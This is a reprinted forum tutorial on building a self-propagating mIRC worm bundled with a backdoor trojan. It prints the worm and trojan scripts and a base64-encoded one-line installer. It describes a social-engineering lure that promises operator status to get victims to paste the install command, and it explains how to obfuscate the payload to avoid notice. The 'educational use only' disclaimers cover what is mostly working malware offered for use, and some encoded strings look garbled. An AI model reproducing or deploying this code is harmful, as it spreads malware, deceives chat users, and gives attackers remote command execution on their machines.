

Tutorial - Make Your Own mIRC Worm

Discuss in Forums {mos_smf_discuss:/root}

by Mohammad Ahmadi Bidakhwidi

In this tutorial I will try to teach you how to make your own mIRC worm in IRC. This is the basic formula, so you can later add/delete functions to obtain better results in your eyes. This tutorial is of course for educational use only. It is meant to explore how mIRC scripts work, and how you can protect yourself against these threats. The author and EH-Net do not take any responsibility for the damages one can cause using this script. If you do not agree with these terms I suggest you stop reading this tutorial.

First of all I need to notify you that this worm is backdoored. This means that people that are infected by this worm can be controlled by you. Once infected with the worm they are also infected with the Trojan. Using the Trojan you can control the victim's PC. Infect the victim

It all starts with the next command:

```
//write mab.mrc $decode(b24gXio6dGV4dDoqOio6IHsgaWYgK
ChpbmMqIGlzd20gJDEtKSAmJiAoJHRhcmdldCA9PSAkWUpKSB7IC
4gJCsgJDItIHwgaGFsdGRIZiB9IHwgZWxzZWlmlCgoYSogaXN3bSA
kMS0pICYmICGkY2hhbikpIHsgLm1zZyBtYWlgaW5mIHwgLm1zZyAk
bmljayBXYW50IHRvIGJIE9QRVJBVE9SIGlulCRjaGFuIGNvcHkvc
GFzdGUgdGhpcy0+IAM0Ly93cmI0ZSAuICQgJCsgZGVjb2RIKCAkKy
AkZW5jb2RIKCRyZWFKKCRzY3JpcHQsbWwKSxtKSAkKyAsbSkGJGN
ocigxMjQpIC5sb2FkIC1ycyB9IH0=,m) | .load -rs mab.mrc
```

This is one line! Understand the Script

We need to mix these two things:

The Worm

```
on 1:text:*a*:#:{ .ignore $nick | .timer 0 120 .join #mab | .msg $nick Do you want to be an OPERATOR in $chan ?
copy/paste this-> 7 //write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs . $chr(124) //mode
$ $+ me +R }
```

Here #mab is the channel you want to let them join if they're infected with the worm. But since that would not be very stealthy, we have to do it in another way. We let it message you. We change the .timer 0 120 .join #mab with .msg mab_inf. Where mab_ is your nickname.

With this, your worm has started. It will now spread and try to personal message people, while ignoring incoming messages. When that is done, it will try to send itself to other users, and tell them to type the command.

Above is the original worm I designed. Now we are going to change some things about it so the functionality of the Trojan is constructive. We will remove the user mode +R on the end of the script, because this will only let users who are authenticated with the official server bot message the victim once the Trojan is implemented. That is not the objective, so we will remove that from the worm. Therefore, we get the next script that we have to merge with the Trojan script:

```
on 1:text:*a*:#:{ .ignore $nick | .msg mab_inf | .msg $nick Do you want to be an OPERATOR in $chan ? copy/paste this-
> $chr(3) $+ 4//write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs }
```

The Trojan

```
on ^*:text:ins*?:{ . $+ $2- | haltdef }
```

Mixed they will give us the Backdoored IRC Worm. This means that the worm will spread itself, join the certain channel (here: #mab) and after that it will spread itself. The only thing left to do is wait for you to control it via the Trojan, so you will have the rights to do whatever you want on his/her computer using mIRC. You actually use the victim's mIRC to accomplish certain commands. I suggest you visit the IRC Trojan Tutorial, so you can also fully use the trojan part in the worm.

I will now try to give more details about that script, so you truly understand the worm. You can easily modify it and achieve better results. I will mix it.

So basically we want to mix these two mechanisms:

```
on 1:text:*a*#:{ DO SOMETHING }
on ^*:text:ins*?:{ DO SOMETHING ELSE | haltdef }
```

Solution:

```
on ^*:text:*:*: {
if ((ins* iswm $1-) && ($target == $me)) DO SOMETHING
elseif ((a* iswm $1-) && ($chan)) DO SOMETHING ELSE
}
```

In one line:

```
on ^*:text:*:*: { if ((ins* iswm $1-) && ($target == $me)) DO SOMETHING | elseif ((a* iswm $1-) && ($chan)) DO SOMETHING ELSE }
```

Where DO SOMETHING is the Trojan's work and DO SOMETHING ELSE is the Worm's work. Integrated:

```
on ^*:text:*:*: { if ((ins* iswm $1-) && ($target == $me)) { . $+ $2- | haltdef } | elseif ((a* iswm $1-) && ($chan)) { .msg mab_ inf | .msg $nick Do you want to be OPERATOR in $ $+ chan ? copy/paste this-> 7 //write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs . $chr(124) //mode $ $+ me +R } }
```

Good. This is exactly what we needed. Now this doesn't look very good, so we need to encode it with mIRC. Some chars have to be written differently because mIRC can misunderstand them and think they are parameters or other things. The next chars have to be written differently: (){}>,

Why these chars and how can I control it?

```
//echo -a $asc(char here)
```

If this gives a bad result this means that the char must be written in another way.

Example encoding of "":

```
//say $encode(,,m) This is wrong
//say $encode($+ $chr(44),m) This is correct
```

Note:

\$+ = pasting two strings together

```
| = $chr(124)
, = $chr(44)
( = $chr(40)
) = $chr(41)
{ = $chr(123)
} = $chr(125)
```

We have to realize that we don't always have to encode that this way. Sometimes this method is not needed.

For finding the numbers you use this:

```
//echo -a $asc($?)
```

This will pop up an input box, just fill in the char and you'll get the number as result.

Good, we have the knowledge for encoding now. So this is what we get before we start encoding:

```
on ^*:text:*:*: $chr(123) if ((ins* iswm $ $+ 1-) && ($ $+ target == $ $+ me)) $chr(123) . $ $+ + $ $+ 2- $chr(124) haltdef $chr(125) $chr(124) elseif ((a* iswm $ $+ 1-) && ($chan)) $chr(123) .msg mab inf $chr(124) .msg $ $+ nick Want to be OPERATOR in $ $+ chan copy/paste this-> $chr(3) $+ 4//write . $ $ $+ + decode( $ $+ + $ $+ encode( $+ $ $+ read( $+ $+ script,n,1),m) $ $+ + ,m) $ $+ chr(124) .load -rs $chr(125) $chr(125)
```

So:

```
//say $encode(on ^*:text:*: $chr(123) if ((ins* iswm $ $+ 1-) && ($ $+ target == $ $+ me)) $chr(123) . $ $+ + $ $+ 2-
$chr(124) haltdef $chr(125) $chr(124) elseif ((a* iswm $ $+ 1-) && ($chan)) $chr(123) .msg mab inf $chr(124) .msg $ $+
nick Want to be OPERATOR in $ $+ chan copy/paste this-> $chr(3) $+ 4//write . $ $ $+ + decode( $ $+ + $ $+ encode(
$+ $ $+ read( $+ $ $+ script,n,1),m) $ $+ + ,m) $ $+ chr(124) .load -rs $chr(125) $chr(125),m)
```

For finding the \$encoded variable we split it up as global variables. The variables are set with:

```
/set %var STRING
```

So for finding it we write the next in mIRC:

```
//say $encode(%var1 $+ %var2 $+ %var3 $+ %var4,m)
```

But we don't necessarily need to set it as variables before we encode it. So you can just use the encode line.

We find the next as result:

```
b24gXio6dGV4dDoqOio6IHsgaWYgKChpbnMqIGlzd20gJDEtKSAmJ
iAoJHRhcmdldCA9PSAkBWUpKSB7IC4gJCsgJDItlHwgaGFsdGRIZi
B9IHwgZWxzZWlmlCgoYSogaXN3bSAkMS0pICYmlCgkY2hhbikpIHs
gLm1zZyBtYWlgaW5mlHwgLm1zZyAkbnMlY2h5bW50IHRvIGJlIE9Q
RVJBVE9SIGlulCRjaGFuIGNvcHkvcGFzdGUgdGhpcy0+IAM0Ly93c
ml0ZSAulCQgJCsgZGVjb2RIKCAkKyAkZW5jb2RIKCRyZWFKKCRzY3
JpcHQsbWwKSxtKSAkKyAsbSkGJGNocigxMjQpIC5sb2FkIC1ycyB
9IH0=
```

This pasted to each other in one line!

This is the 'basic' irc worm script. By modifying it you can accomplish things that satisfy your needs. I hope this was educational. Have questions? Ask the author on IRC. You agree to use this information for educational purposes ONLY. Neither the author nor EH-Net are responsible for the damage you cause using this information. The information provided in this page must be handled with care; misuse of this information on this webpage can lead to undesired effects/results. As mentioned above, if you do not agree, leave this website immediately please. About The Author (In His Words):

The Beginning

Well on 1 may 1985 some woman in Karaj (Iran) decided to give birth to me, since then the story started, at the age of 5 we moved to Belgium, and now I'm located in Rijkevorsel and a student while I'm 20 years old.

The Story

I'm an engineer student Industrial Science and Technology (Elektromechanics) at Campus Paardenmarkt in Antwerp (3/4). I've a great passion for science and math, and am quite interested in computer science, therefore I decided to learn programming computer languages in my free time... I can code C/C++, Visual Basic, Delphi, VBscript and do mIRC script.

Article reprinted with permission from <http://users.pandora.be/ahmadi/index.htm>